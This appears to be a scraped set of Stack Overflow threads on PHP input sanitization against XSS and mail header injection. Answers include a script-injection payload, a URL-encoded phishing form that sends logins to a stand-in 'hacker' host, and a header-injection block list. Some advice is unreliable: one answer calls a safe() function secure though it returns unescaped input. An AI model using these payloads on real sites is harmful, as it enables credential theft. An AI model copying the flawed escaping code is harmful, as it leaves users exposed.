This question already has an answer here:
Should I use both striptags() and htmlspecialchars() to prevent XSS?
(1 answer)
Closed 7 years ago.
I´ve a doubt about SECURITY linked to POST data in PHP.
The context:
I´ve several input (text, email, radio) and some textarea.
EG
<input type="text" name="entries[]"> /* Input ARRAY */
<input type="text" name="username">
<textarea name="message[]">...</textarea> /* Textarea ARRAY */
What I´m doing is sending all the values to the *.php page and then, I print all of them
EG
if($_POST)
{
$entries = htmlspecialchars("$_POST['entries']", ENT_QUOTES);
$username = htmlspecialchars("$_POST['username']", ENT_QUOTES);
$message = htmlspecialchars("$_POST['message']", ENT_QUOTES);
echo $username;
echo...
echo...
}
I do not know too much about security. Is it ok JUST with htmlspecialchars...?
Or Have I to use other functions?
The data is JUST to print with echo on the *.php page (no MYSQL)
And yes, my doubt is about the cide that the user can put on each INPUT, because I don´t want to limitate their contents just to text or numbers, or similar.
Thanks.
You need to loop over the arrays.
$entries = array_map('htmlentities', $_POST['entries']);
$username = htmlentities($_POST['username']);
$message = array_map('htmlentities', $_POST['message']);
or to include ENT_QUOTES you can use:
$entries = array_map(function($x) {
return htmlentities($x, ENT_QUOTES);
}, $_POST['entries']);
and similarly for $message.
Related
This question already has answers here:
Generate Array from a comma-separated list - PHP [duplicate]
(3 answers)
Closed 8 years ago.
I have a form that asks for comma separated phone numbers, for example, if user enters following in "Phone" field:
9999999999,8888800000,7777788888
Then want to store them as an array just like:
$contacts = array ("9999999999","8888800000","7777788888");
How can I do that?
I tried:
$contacts = array();
if (is_array(#$_POST['phone']))
{
foreach($_POST['phone'] as $one)
{
$contacts[] = basename($one);
}
}
$myArray = explode(',', '9999999999,8888800000,7777788888');
You will have to fetch the form input with the global variable called $_POST, $_POST listens to the name of the html element.
Let's say we got
<form method="POST">
<input type="text" name="phoneNumber1" />
<input type="text" name="phoneNumber2" />
<input type="text" name="phoneNumber3" />
</form>
Then we are able to fetch the data in it like this.
$contacts = array($_POST['phoneNumber1'], $_POST['phoneNumber2'], $_POST['phoneNumber3']);
Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 8 years ago.
Improve this question
After reading a lot of tutorials I just want to be sure to be on the safe side.
I made a contact formular which looks like this
<form name="contakt" accept-charset="UTF-8" method="post" action="./mail.php">
<input type="text" name="name" />
<input type="text" name="email" />
<input type="text" name="tel" />
<input type="submit" value="Send" name="submit" />
<textarea name="message"></textarea>
</form>
I validate via jQuery if the name and message is not empty and not only full of spaces
and I check the email via jquery with the following script
function ismailornot(email) {
var regex = /^([a-zA-Z0-9_.+-])+\#(([a-zA-Z0-9-])+\.)+([a-zA-Z0-9]{2,4})+$/;
return regex.test(email);
}
Now when my variables get passed and I am on my mail.php is it more then enough to check on top my of script the $_SERVER['HTTP_REFERER'] and look if those variables came from my own script ? Or can you modify $_SERVER variables too ?
Or do I have basicly to check EVERY passed variable again to be on a safe side ?
For example : http://www.w3schools.com/php/php_secure_mail.asp
is this script 1oo% safe from injections ?
Thanks for helping me out :)
The way: Check EVERY passed variable again to be on a safe side
Try this after some mods to fit your needs its a piece from Larry Ullman book :
function spam_scrubber($value) {
// List of very bad values:
$very_bad = array('to:', 'cc:', 'bcc:', 'content-type:', 'mime-version:','multipart-mixed:',
'content-transfer-encoding:', '<script>');
// If any of the very bad strings are in
// the submitted value, return an empty string:
foreach ($very_bad as $v) {
if (stripos($value, $v) !== false){ return '';}
}
// Replace any newline characters with spaces:
$value = str_replace(array( "\r", "\n", "%0a", "%0d"), ' ', $value);
//remove html tags:
$value = htmlentities($value,ENT_QUOTES);
// Return the value:
return trim($value);
} // End of spam_scrubber() function.
// Clean the form data:
$scrubbed = array_map('spam_scrubber', $_POST);
if(isset($from)) {
$from = $scrubbed['from'];
}else{
$from = '';
}
// Minimal form validation:
if (!empty($from) && !empty($scrubbed['comments']) ) {
// Create the body:
$body = "Name: {$from}\n\nComments: {$scrubbed['comments']}";
$body = wordwrap($body, 70);
// Send the email:
mail('YOUR_EMAIL', 'Contact Form Submission', $body, "From: {$from}");
}
So im trying to work out the best way to sanitize xss for safe output to the user.
More or less, when storing values from a form, im using strip_tags(); then bind_params();
And when Im about to output the data to the user Im also using htmlentities();
The data will only be shown inside <p> and <a> tags.
eg:
<p> Some data from user </p>
<a href=""> Some data from user </p>
Should this work?
Index.php
<form action="sante.php" method="post">
Name: <input type="text" name="fname">
Age: <input type="text" name="age">
<input type="submit">
</form>
And then sante.php
<?php
$name = $_POST["fname"];
$age = $_POST["age"];
$namn = strip_tags($name); // then storing into mysql with bind_param
$older = strip_tags($age); // then storing into mysql with bind_param
// before output, htmlentities
function safe( $value ) {
htmlentities( $value, ENT_QUOTES, 'utf-8' );
return $value;
}
// Now showing values
echo safe($namn). "<br>";
echo "<p>" .safe($older) . "</p>";
?>
Yes, you can use this code safely. I see you're already using bind_param (and I assume either the mysqli or PDO library), which prevents SQL injection (damage to you), and htmlentities, which prevents cross-site scripting (damage to the user).
You don't even need to call strip_tags before writing to the database, although it's a fine idea if you don't want user input to contain any JS/PHP/HTML tags at all (and also if you forget to call your safe function on output).
When you insert data to database you must use mysql_real_escape_string or use PDO,
if you display data you must use htmlspecialchars
This question already has answers here:
How to prevent XSS with HTML/PHP?
(9 answers)
Closed 5 months ago.
I have this php code and my CMS security auto-test says it's a XSS attack. Why and How can I fix this?
$url = "news.php";
if (isset($_GET['id']))
$url .= "?id=".$_GET["id"];
echo "<a href='{$url}'>News</a>";
It's XSS (cross site scripting) as someone could call your thing like this:
?id='></a><script type='text/javascript'>alert('xss');</script><a href='
Essentially turning your code into
<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>
Now whenever someone would visit this site, it'd load and run the javascript alert('xss'); which might as well be a redirector or a cookie stealer.
As many others have mentioned, you can fix this by using filter_var or intval (if it's a number). If you want to be more advanced, you could also use regex to match your string.
Imagine you accept a-z A-Z and 0-9. This would work:
if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) {
//whatever
}
filter_input even has a manual entry doing exactly what you want (sanitizing your input into a link):
<?php
$search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
$search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
echo "You have searched for $search_html.\n";
echo "<a href='?search=$search_url'>Search again.</a>";
?>
Yeah .. a simple attach
site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27
^
|
Start XSS Injection
This would output
<a href='news.php?id='></a>
<br>
<br>
Please login with the form below before proceeding:
<form action="http://hacker/test.php">
<table>
<tr>
<td>Login:</td>
<td><input type=text length=20 name=login></td>
</tr>
<tr>
<td>Password:</td>
<td><input type=text length=20 name=password></td>
</tr>
</table>
<input type=submit value=LOGIN>
</form>
<a href=''>News</a>
Asking your client there username and password to continue and sending the information to http://hacker/test.php and they are then re directly back normally as if nothing happened
To fix this try
$_GET["id"] = intval($_GET["id"]);
Or
$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);
You'll need to urlencode:
$url .= "?id=" . urlencode($_GET["id"]);
As a global rule you have to filter the contents of GET and POST. Use filter_var before using the contents of $_GET['id'].
$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT);
// or at least
$id = (int) $_GET['id'];
Never use directly $_GET or $_POST!!!
You must escape it some way..
For example ..
$url = "news.php";
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){
$url .= "?id={$id}";
}
echo "<a href='{$url}'>News</a>";
I'm trying to make a "remember fields" thingy, so if there is one error you won't have to fill in the whole form again. But how can I make the output safe?
Example:
<input type="text" name="email" value="<?php echo (isset($_POST['email'])) ? htmlspecialchars($_POST['email']) : ''; ?>" />
If someone types in " ' " (without the quotes) for example you get:
Warning: mysql_result() expects parameter 1 to be resource, boolean given in C:\wamp\www\pages\register.php on line 55
So then I tried:
<input type="text" name="email" value="<?php echo (isset($_POST['email'])) ? mysql_real_escape_string($_POST['email']) : ''; ?>" />
Then it just adds a lot of //////.
What should I do?
I'm a noob yes. But I thought htmlspecialchars made user input safe?
It depends on context.
htmlspecialchars() is your friend in HTML.
mysql_real_escape_string() is your friend in MySQL.
Update
You could run all your $_POST through htmlspecialchars() first with this...
$encodedHtmlPost = array_map('htmlspecialchars', $_POST);
You have to use mysql_real_escape_string() before you put data in database, not for the output! It will prevent SQL injections. Use htmlspecialchars when outputting data to user, it prevents XSS attacks.
When inserting in database:
$data = mysql_real_escape_string($data);
mysql_query("INSERT INTO table1(data) VALUES('$data')"); //Safe insertion
When outputting to user:
echo htmlspecialchars($data);
As for html escaping, you should use a wrapper function because htmlspecialchars needs some parameters to produce reliably safe output:
htmlspecialchars($text, ENT_QUOTES, "UTF-8");